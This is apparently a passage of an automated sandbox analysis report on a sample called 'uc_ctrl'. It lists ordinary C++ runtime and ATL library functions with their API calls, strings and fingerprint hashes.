                                                                                              • Instruction ID: 3b7f7020d6b12d20445250d353f1cf3ba4aea07d1a445e723c4f6eb02b1151db
                                                                                              • Opcode Fuzzy Hash: bb7478414815a2a30b735e1abb70e7861f98c4c7ea08780faac7e89724301182
                                                                                              • Instruction Fuzzy Hash: CDF030B1E24559AFDB10CF44CC40FAABBBCF705A14F004A5AE81693B80EB7669048BE0
                                                                                              Function 6CEFE830 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140(337D7743,?,?,6CF0D1CC,000000FF), ref: 6CEFE858
                                                                                              • std::ios_base::_Ios_base_dtor.LIBCPMT(?,337D7743,?,?,6CF0D1CC,000000FF), ref: 6CEFE86B
                                                                                                • Part of subcall function 6CEE7A40: std::ios_base::_Tidy.LIBCPMT(?,?,6CEE479E,?,337D7743,?,6CF0BDA0,000000FF), ref: 6CEE7A60
                                                                                                • Part of subcall function 6CEE7A40: std::locale::~locale.LIBCPMT ref: 6CEE7A6E
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: std::ios_base::_$??1?$basic_iostream@D@std@@@std@@Ios_base_dtorTidyU?$char_traits@std::locale::~locale
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 3857635925-738913995
                                                                                              • Opcode ID: cc01445612d5abc603f96824f14960112b9cd7bc5fc737c4d4be2ed69b6af5ae
                                                                                              • Instruction ID: 4db21d5fad917742b7d848b557eb0facfc703133f9e8c9a3e1168a63686a644c
                                                                                              • Opcode Fuzzy Hash: cc01445612d5abc603f96824f14960112b9cd7bc5fc737c4d4be2ed69b6af5ae
                                                                                              • Instruction Fuzzy Hash: DFF0E572A04618EBCB10CF44D801BDAB7FDEB09B10F20465FE80593B80DB3629048AD4
                                                                                              Function 6CEFE9F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ??1?$basic_iostream@GU?$char_traits@G@std@@@std@@UAE@XZ.MSVCP140(337D7743,?,?,6CF0D1CC,000000FF), ref: 6CEFEA18
                                                                                              • std::ios_base::_Ios_base_dtor.LIBCPMT(?,337D7743,?,?,6CF0D1CC,000000FF), ref: 6CEFEA2B
                                                                                                • Part of subcall function 6CEE7A40: std::ios_base::_Tidy.LIBCPMT(?,?,6CEE479E,?,337D7743,?,6CF0BDA0,000000FF), ref: 6CEE7A60
                                                                                                • Part of subcall function 6CEE7A40: std::locale::~locale.LIBCPMT ref: 6CEE7A6E
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: std::ios_base::_$??1?$basic_iostream@G@std@@@std@@Ios_base_dtorTidyU?$char_traits@std::locale::~locale
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 3215010622-738913995
                                                                                              • Opcode ID: b99a0ece4dbd918d070a1057dcd1d3bf0c898585f4c7d82dd0e060e0a738ab20
                                                                                              • Instruction ID: 19442b527aa7cb1b4ec0bde40d5d4ce98b96258b926da16457615f10a96615cb
                                                                                              • Opcode Fuzzy Hash: b99a0ece4dbd918d070a1057dcd1d3bf0c898585f4c7d82dd0e060e0a738ab20
                                                                                              • Instruction Fuzzy Hash: 93F0E572A04558EBCB10CF44D801BDAB7FDEB09B14F20465FE80593B80DB7629048AD4
                                                                                              Function 6CEFE910 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ??1?$basic_iostream@_WU?$char_traits@_W@std@@@std@@UAE@XZ.MSVCP140(337D7743,?,?,6CF0D1CC,000000FF), ref: 6CEFE938
                                                                                              • std::ios_base::_Ios_base_dtor.LIBCPMT(?,337D7743,?,?,6CF0D1CC,000000FF), ref: 6CEFE94B
                                                                                                • Part of subcall function 6CEE7A40: std::ios_base::_Tidy.LIBCPMT(?,?,6CEE479E,?,337D7743,?,6CF0BDA0,000000FF), ref: 6CEE7A60
                                                                                                • Part of subcall function 6CEE7A40: std::locale::~locale.LIBCPMT ref: 6CEE7A6E
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: std::ios_base::_$??1?$basic_iostream@_Ios_base_dtorTidyU?$char_traits@_W@std@@@std@@std::locale::~locale
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 1680725104-738913995
                                                                                              • Opcode ID: 26060942216ead76d6d7b9e59f71675e9837d0fd26ad4f00ea890d30bd95ce85
                                                                                              • Instruction ID: 033877a754f3df7c36189efe4c76db35e6517c4eec8eed3b005150737e2a74cf
                                                                                              • Opcode Fuzzy Hash: 26060942216ead76d6d7b9e59f71675e9837d0fd26ad4f00ea890d30bd95ce85
                                                                                              • Instruction Fuzzy Hash: D8F0E572A04518EBCB10CF44D801BDAB7FDEB09B10F20465FE80593B80DB3629048AD4
                                                                                              Function 6D0C2608 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 6CF89E20: GetLastError.KERNEL32 ref: 6CF89E44
                                                                                                • Part of subcall function 6CF89E20: _HRESULT_FROM_WIN32.LIBCMTD ref: 6CF89E4B
                                                                                              • IsDebuggerPresent.KERNEL32(?,?,?,6CF6FF97), ref: 6D0C263B
                                                                                              • OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,6CF6FF97), ref: 6D0C264A
                                                                                              Strings
                                                                                              • ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 6D0C2645
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: DebugDebuggerErrorLastOutputPresentString
                                                                                              • String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
                                                                                              • API String ID: 389471666-631824599
                                                                                              • Opcode ID: ac9aab5aea6b7a22061083ef029f777a7adcafbf421021f3b80d8feff6b1bdbd
                                                                                              • Instruction ID: 46a4cb90034d99a7259f377e49f251d7e0981ddb4e19cbe30e8ac3fc8a2d56d7
                                                                                              • Opcode Fuzzy Hash: ac9aab5aea6b7a22061083ef029f777a7adcafbf421021f3b80d8feff6b1bdbd
                                                                                              • Instruction Fuzzy Hash: 2FE06D701057518FE7709F79D508346BBF0AF08304F04492DD896D6A44DBB1D0458B72
                                                                                              Function 001079F7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 00107A4A: memset.VCRUNTIME140(0000000F,00000000,00000018,00000000,?,001079FF,?,097E771E), ref: 00107A57
                                                                                                • Part of subcall function 00107730: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000F,00000000,00107A26,?,097E771E), ref: 00107733
                                                                                                • Part of subcall function 00107730: GetLastError.KERNEL32 ref: 0010773D
                                                                                              • IsDebuggerPresent.KERNEL32(?,097E771E), ref: 00107A2A
                                                                                              • OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule), ref: 00107A39
                                                                                              Strings
                                                                                              • ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00107A34
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CountCriticalDebugDebuggerErrorInitializeLastOutputPresentSectionSpinStringmemset
                                                                                              • String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
                                                                                              • API String ID: 1128651283-631824599
                                                                                              • Opcode ID: 3cba470e38337dc1f2e8ab452905d2d7d55c4ecada72bc80606ad3c100336fb8
                                                                                              • Instruction ID: 9664f634671f2420b1a5aecd1776194d82dc78c929c2dac43a361bd4d3224030
                                                                                              • Opcode Fuzzy Hash: 3cba470e38337dc1f2e8ab452905d2d7d55c4ecada72bc80606ad3c100336fb8
                                                                                              • Instruction Fuzzy Hash: 83E06D706043008FD3209F24D6047467AE4AF14340F44C81DF5C5C36C1EBF6E684CBA2
                                                                                              Function 6D0C2844 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • std::invalid_argument::invalid_argument.LIBCONCRT ref: 6D0C2850
                                                                                                • Part of subcall function 6D0C27B9: std::exception::exception.LIBCONCRT ref: 6D0C27C6
                                                                                              • __CxxThrowException@8.LIBVCRUNTIME ref: 6D0C285E
                                                                                                • Part of subcall function 6D0C6276: RaiseException.KERNEL32(?,?,?,00000001,00000000,?,00000000), ref: 6D0C62D5
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ExceptionException@8RaiseThrowstd::exception::exceptionstd::invalid_argument::invalid_argument
                                                                                              • String ID: Unknown exception
                                                                                              • API String ID: 1586462112-410509341
                                                                                              • Opcode ID: 217ab9e27fab8e11b72d9b5fdcc97d48b1fa9ffafd4693352aaaf708f56b99d4
                                                                                              • Instruction ID: 72e24656a0f1beae0844c3758484b5ea65714dac2b6f8be18e25649fda0589d9
                                                                                              • Opcode Fuzzy Hash: 217ab9e27fab8e11b72d9b5fdcc97d48b1fa9ffafd4693352aaaf708f56b99d4
                                                                                              • Instruction Fuzzy Hash: C1D0A739E0410D77DB10DBB4C844F5D777C5F00604B908064AA14D7419EBB0D6058AC2
                                                                                              Function 6CEFDE50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEFDE58
                                                                                              • std::_Xinvalid_argument.LIBCPMT(invalid random_device value), ref: 6CEFDE6F
                                                                                              Strings
                                                                                              • invalid random_device value, xrefs: 6CEFDE6A
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Xinvalid_argumentrand_sstd::_
                                                                                              • String ID: invalid random_device value
                                                                                              • API String ID: 2823261842-3926945683
                                                                                              • Opcode ID: a877bba56ce05b0fd984bd21046df49e00b7d9743fceb7c07702a9e907657f8b
                                                                                              • Instruction ID: 21d728d67e99a1642b84bfe6fac056056d6422bc519fbd63945ddf899cf99656
                                                                                              • Opcode Fuzzy Hash: a877bba56ce05b0fd984bd21046df49e00b7d9743fceb7c07702a9e907657f8b
                                                                                              • Instruction Fuzzy Hash: 3CD0223AE0020CFB8B00CAD5CC04DC97BBCDB05219B300589E814C3F00EB20EB021291
                                                                                              Function 6CF8C0C9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • SetMenuItemInfoW.USER32(?), ref: 6CF8C0E4
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: InfoItemMenu
                                                                                              • String ID: 0$@
                                                                                              • API String ID: 1619232296-1545510068
                                                                                              • Opcode ID: 493584a30c2a2227ee8781c3eaa17e95c0cf051f08d3f268519c564678a11a34
                                                                                              • Instruction ID: 7d38925cde3d13b43c853e4c8747fafc4113758d60a2f6df474b60db8135841c
                                                                                              • Opcode Fuzzy Hash: 493584a30c2a2227ee8781c3eaa17e95c0cf051f08d3f268519c564678a11a34
                                                                                              • Instruction Fuzzy Hash: 2CD05EB2865218ABDB119F84E804FDEFB78FB09300F008256F900B5040C3B68010CF94
                                                                                              Function 6CF8E867 Relevance: 5.1, APIs: 4, Instructions: 76COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • EnterCriticalSection.KERNEL32(6D1C72D0,6D1C72B4,00000000,6D1C72D0), ref: 6CF8E8E1
                                                                                              • LeaveCriticalSection.KERNEL32(6D1C72D0,?), ref: 6CF8E8F4
                                                                                              • LocalFree.KERNEL32(00000000), ref: 6CF8E8FD
                                                                                              • TlsSetValue.KERNEL32(?,00000000), ref: 6CF8E918
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CriticalSection$EnterFreeLeaveLocalValue
                                                                                              • String ID:
                                                                                              • API String ID: 2949335588-0
                                                                                              • Opcode ID: 82b9a0a6cc399efa4925647e95a589a640d38b5acc046a9e9aa899807627b596
                                                                                              • Instruction ID: ab0e0689205744b41ea1be9f6a6a9036dd3acbda63a17add5f19cdb482eac235
                                                                                              • Opcode Fuzzy Hash: 82b9a0a6cc399efa4925647e95a589a640d38b5acc046a9e9aa899807627b596
                                                                                              • Instruction Fuzzy Hash: 72214C35A01209EFDB00DF58D881B9DB7B5FF49315F2081A9E9159B660DB31E911CF91
                                                                                              Function 6CF8EC39 Relevance: 5.1, APIs: 4, Instructions: 57memoryCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • LocalAlloc.KERNEL32(00000000,00000000), ref: 6CF8EC6E
                                                                                              • LeaveCriticalSection.KERNEL32(?), ref: 6CF8EC97
                                                                                                • Part of subcall function 6CF8FBBF: __CxxThrowException@8.LIBVCRUNTIME ref: 6CF8FBD3
                                                                                              • TlsSetValue.KERNEL32(?), ref: 6CF8ECC7
                                                                                              • LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,6CF8F0C9,6CF8C806,6CF8F0F2,6CF8F81F,6CF89FCD,00000001,00000000,?,6D0C1AA6,?,00000001), ref: 6CF8ECFE
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CriticalLeaveSection$AllocException@8LocalThrowValue
                                                                                              • String ID:
                                                                                              • API String ID: 4202424549-0
                                                                                              • Opcode ID: b4515efc437698d25311161ffdda6d5da0f4fa9e6dfb52066c366532995d9700
                                                                                              • Instruction ID: 03b37f1605f72423224016a4d2f7bad7e3c7e7ac33b96f107c6e77a46b7a3297
                                                                                              • Opcode Fuzzy Hash: b4515efc437698d25311161ffdda6d5da0f4fa9e6dfb52066c366532995d9700
                                                                                              • Instruction Fuzzy Hash: 39119D74901606EFD728CF29D885D5AFBB4FF46324320C62DE86697A60DB30E910CFA1
                                                                                              Function 6CF8EC0A Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • LocalAlloc.KERNEL32(00000000,00000000), ref: 6CF8EC6E
                                                                                              • LeaveCriticalSection.KERNEL32(?), ref: 6CF8EC97
                                                                                                • Part of subcall function 6CF8FBBF: __CxxThrowException@8.LIBVCRUNTIME ref: 6CF8FBD3
                                                                                              • TlsSetValue.KERNEL32(?), ref: 6CF8ECC7
                                                                                              • LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,6CF8F0C9,6CF8C806,6CF8F0F2,6CF8F81F,6CF89FCD,00000001,00000000,?,6D0C1AA6,?,00000001), ref: 6CF8ECFE
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CriticalLeaveSection$AllocException@8LocalThrowValue
                                                                                              • String ID:
                                                                                              • API String ID: 4202424549-0
                                                                                              • Opcode ID: 4ffa7930b29c717e62f0a8bb11578338ee2413189515b2c30612a1676e9d0464
                                                                                              • Instruction ID: 414fda26316a914ac093c2dec1bb3a04596995b4140953abe6d9582ce47382db
                                                                                              • Opcode Fuzzy Hash: 4ffa7930b29c717e62f0a8bb11578338ee2413189515b2c30612a1676e9d0464
                                                                                              • Instruction Fuzzy Hash: 2E11C878A01606FFDB14DF29D885E5AF7B5FF06328B20C529E86586A10DB31E850CFD1
                                                                                              Function 6CF8FAC0 Relevance: 5.0, APIs: 4, Instructions: 37COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • EnterCriticalSection.KERNEL32(6D1C7498,?,?,00000000,?,6CF9063F,00000000,?,?,6CF6F6D7,6D1C244C), ref: 6CF8FAF1
                                                                                              • InitializeCriticalSection.KERNEL32(00000000,?,?,00000000,?,6CF9063F,00000000,?,?,6CF6F6D7,6D1C244C), ref: 6CF8FB07
                                                                                              • LeaveCriticalSection.KERNEL32(6D1C7498,?,?,00000000,?,6CF9063F,00000000,?,?,6CF6F6D7,6D1C244C), ref: 6CF8FB15
                                                                                              • EnterCriticalSection.KERNEL32(00000000,?,00000000,?,6CF9063F,00000000,?,?,6CF6F6D7,6D1C244C), ref: 6CF8FB22
                                                                                                • Part of subcall function 6CF8FA57: InitializeCriticalSection.KERNEL32(6D1C7498,6CF8FADB,?,00000000,?,6CF9063F,00000000,?,?,6CF6F6D7,6D1C244C), ref: 6CF8FA6F
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CriticalSection$EnterInitialize$Leave
                                                                                              • String ID:
                                                                                              • API String ID: 713024617-0
                                                                                              • Opcode ID: d939b507626a271bc97bd672296d2a1ca89f68a812002b171c7b57a9d7c1c7ed
